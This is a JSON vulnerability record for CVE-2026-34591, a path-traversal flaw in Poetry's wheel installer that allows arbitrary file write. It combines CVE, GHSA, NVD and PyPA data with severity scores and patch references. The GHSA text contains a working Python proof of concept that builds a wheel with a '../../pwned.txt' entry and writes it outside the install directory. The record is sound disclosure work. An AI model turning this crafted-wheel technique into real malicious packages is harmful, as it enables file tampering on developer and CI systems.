{"id":"CVE-2026-34591","aliases":["CVE-2026-34591","GHSA-2599-h6xx-hpxp","PYSEC-2026-2260"],"related":[],"kind":"vulnerability","state":"published","title":"Poetry Has Wheel Path Traversal Which Can Lead to Arbitrary File Write","summary":"Poetry is a dependency manager for Python. From version 1.4.0 to before version 2.3.3, a crafted wheel can contain ../ paths that Poetry writes to disk without containment checks, allowing arbitrary file write with the privileges of the Poetry process. It is reachable from untrusted package artifacts during normal install flows. (Normally, installing a malicious wheel is not sufficient for execution of malicious code. Malicious code will only be executed after installation if the malicious package is imported or invoked by the user.). This issue has been patched in version 2.3.3.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Poetry is a dependency manager for Python. From version 1.4.0 to before version 2.3.3, a crafted wheel can contain ../ paths that Poetry writes to disk without containment checks, allowing arbitrary file write with the privileges of the Poetry process. It is reachable from untrusted package artifacts during normal install flows. (Normally, installing a malicious wheel is not sufficient for execution of malicious code. Malicious code will only be executed after installation if the malicious package is imported or invoked by the user.). This issue has been patched in version 2.3.3.","source":"cvelist"},{"lang":"en","text":"### Summary\nA crafted wheel can contain ../ paths that Poetry writes to disk without containment checks, allowing arbitrary file write with the privileges of the Poetry process. \n\n### Impact\nArbitrary file write (path traversal) from untrusted wheel content. Impacts users/CI/CD systems installing malicious or compromised packages.\n\n### Patches\n\nVersions 2.3.3 and newer of Poetry resolve the target paths and ensure that they are inside the target directory. Otherwise, installation is aborted.\n\n### Details\nPoetry’s wheel destination path is built by directly joining an untrusted wheel entry path:\n\nsrc/poetry/installation/wheel_installer.py:47\nsrc/poetry/installation/wheel_installer.py:59\n\nThe vulnerable sink is reachable in normal installation:\nsrc/poetry/installation/executor.py:607\n\nNo resolve() + is_relative_to() style guard is enforced before writing.\n\n### POC\n\n```\nfrom pathlib import Path\nimport tempfile, zipfile, sys\nfrom installer import install\nfrom installer.sources import WheelFile\nfrom poetry.installation.wheel_installer import WheelDestination\n\nroot = Path(tempfile.mkdtemp(prefix=\"poetry-poc-\"))\nwheel = root / \"evil-0.1-py3-none-any.whl\"\nbase = root / \"venv\" / \"lib\" / \"pythonX\" / \"site-packages\"\nfor d in [base, root/\"venv/scripts\", root/\"venv/headers\", root/\"venv/data\"]:\n    d.mkdir(parents=True, exist_ok=True)\n\nfiles = {\n    \"evil/__init__.py\": b\"\",\n    \"../../pwned.txt\": b\"owned\\n\",\n    \"evil-0.1.dist-info/WHEEL\": b\"Wheel-Version: 1.0\\nRoot-Is-Purelib: true\\nTag: py3-none-any\\n\",\n    \"evil-0.1.dist-info/METADATA\": b\"Metadata-Version: 2.1\\nName: evil\\nVersion: 0.1\\n\",\n}\nfiles[\"evil-0.1.dist-info/RECORD\"] = (\"\\n\".join([f\"{k},,\" for k in files] + [\"evil-0.1.dist-info/RECORD,,\"])+\"\\n\").encode()\n\nwith zipfile.ZipFile(wheel, \"w\") as z:\n    for k,v in files.items(): z.writestr(k,v)\n\ndest = WheelDestination(\n    {\"purelib\":str(base),\"platlib\":str(base),\"scripts\":str(root/\"venv/scripts\"),\"headers\":str(root/\"venv/headers\"),\"data\":str(root/\"venv/data\")},\n    interpreter=sys.executable, script_kind=\"posix\"\n)\nwith WheelFile.open(wheel) as src:\n    install(src, dest, {\"INSTALLER\": b\"PoC\"})\n\nout = (base / \"../../pwned.txt\").resolve()\nprint(\"outside write:\", out.exists(), out)\n```","format":"markdown","source":"ghsa"},{"lang":"es","text":"Poetry es un gestor de dependencias para Python. Desde la versión 1.4.0 hasta antes de la versión 2.3.3, un wheel manipulado puede contener rutas ../ que Poetry escribe en el disco sin comprobaciones de contención, permitiendo la escritura arbitraria de archivos con los privilegios del proceso de Poetry. Es accesible a partir de artefactos de paquetes no confiables durante flujos de instalación normales. (Normalmente, la instalación de un wheel malicioso no es suficiente para la ejecución de código malicioso. El código malicioso solo se ejecutará después de la instalación si el paquete malicioso es importado o invocado por el usuario.) Este problema ha sido parcheado en la versión 2.3.3.","source":"nvd"}],"published":"2026-04-01T22:17:36.000Z","modified":"2026-09-10T03:50:42.075Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","score":7.1,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","score":7.1,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","score":6.5,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","score":6.5,"rating":"MEDIUM"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","score":6.5,"rating":"MEDIUM"}],"cwes":["CWE-22"],"affected":[{"ranges":[{"version":">= 1.4.0, < 2.3.3","status":"affected"}],"vendor":"python-poetry","product":"poetry","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"1.4.0","status":"affected","fixed":"2.3.3"}],"ecosystem":"PyPI","package":"poetry","purl":"pkg:pypi/poetry","source":"ghsa"},{"ranges":[{"status":"affected","introduced":"1.4.0","fixed":"2.3.3"}],"vendor":"python-poetry","product":"poetry","cpe":"cpe:2.3:a:python-poetry:poetry:*:*:*:*:*:python:*:*","source":"nvd"},{"ranges":[{"type":"ecosystem","introduced":"1.4.0","status":"affected","fixed":"2.3.3"}],"ecosystem":"PyPI","package":"poetry","purl":"pkg:pypi/poetry","source":"pysec"}],"references":[{"url":"https://github.com/python-poetry/poetry/security/advisories/GHSA-2599-h6xx-hpxp","tags":["evidence","exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/python-poetry/poetry/pull/10792","tags":["fix","issue-tracking","patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/python-poetry/poetry/releases/tag/2.3.3","tags":["advisory","product","release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"http://github.com/python-poetry/poetry/commit/ed59537ac3709cfbdbf95d957de801c13872991a","tags":["fix","patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34591","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/python-poetry/poetry","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-04-02T18:29:00.454Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-34591","url":"https://www.cve.org/CVERecord?id=CVE-2026-34591","licence":"CVE Terms of Use","modified":"2026-04-03T18:12:07.813Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-2599-h6xx-hpxp","url":"https://github.com/advisories/GHSA-2599-h6xx-hpxp","licence":"CC-BY-4.0","modified":"2026-09-10T03:50:42.075Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-34591","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34591","licence":"Public domain","modified":"2026-07-24T21:10:00.143Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-2260","url":"https://osv.dev/vulnerability/PYSEC-2026-2260","licence":"CC-BY-4.0","modified":"2026-07-13T07:15:36.423Z"}],"updatedAt":"2026-11-25T22:59:17.827Z","epss":{"score":0.00545,"percentile":0.47135,"date":"2026-12-01T12:00:22.000Z"}}